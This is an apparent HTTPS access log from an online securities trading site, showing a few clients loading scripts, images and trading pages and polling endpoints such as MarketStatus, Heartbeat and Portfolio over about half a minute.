[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:23:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922078046 HTTP/1.1" -
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922093429 HTTP/1.1" 3188
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:23:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:23:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922082802 HTTP/1.1" -
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 206
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922095872 HTTP/1.1" -
[09/Jan/2026:09:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1674
[09/Jan/2026:09:23:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922084049 HTTP/1.1" -
[09/Jan/2026:09:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922087878 HTTP/1.1" -
[09/Jan/2026:09:23:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922101231 HTTP/1.1" -
[09/Jan/2026:09:23:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922090049 HTTP/1.1" -
[09/Jan/2026:09:23:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922093031 HTTP/1.1" -
[09/Jan/2026:09:23:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922107236 HTTP/1.1" -
[09/Jan/2026:09:23:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922098180 HTTP/1.1" -
[09/Jan/2026:09:23:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922096047 HTTP/1.1" -
[09/Jan/2026:09:23:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922113223 HTTP/1.1" -
[09/Jan/2026:09:23:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922103289 HTTP/1.1" -
[09/Jan/2026:09:23:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922102055 HTTP/1.1" -
[09/Jan/2026:09:23:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:23:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922119231 HTTP/1.1" -
[09/Jan/2026:09:23:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922108427 HTTP/1.1" -
[09/Jan/2026:09:23:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922108054 HTTP/1.1" -
[09/Jan/2026:09:24:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:24:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:24:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:24:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922125224 HTTP/1.1" -
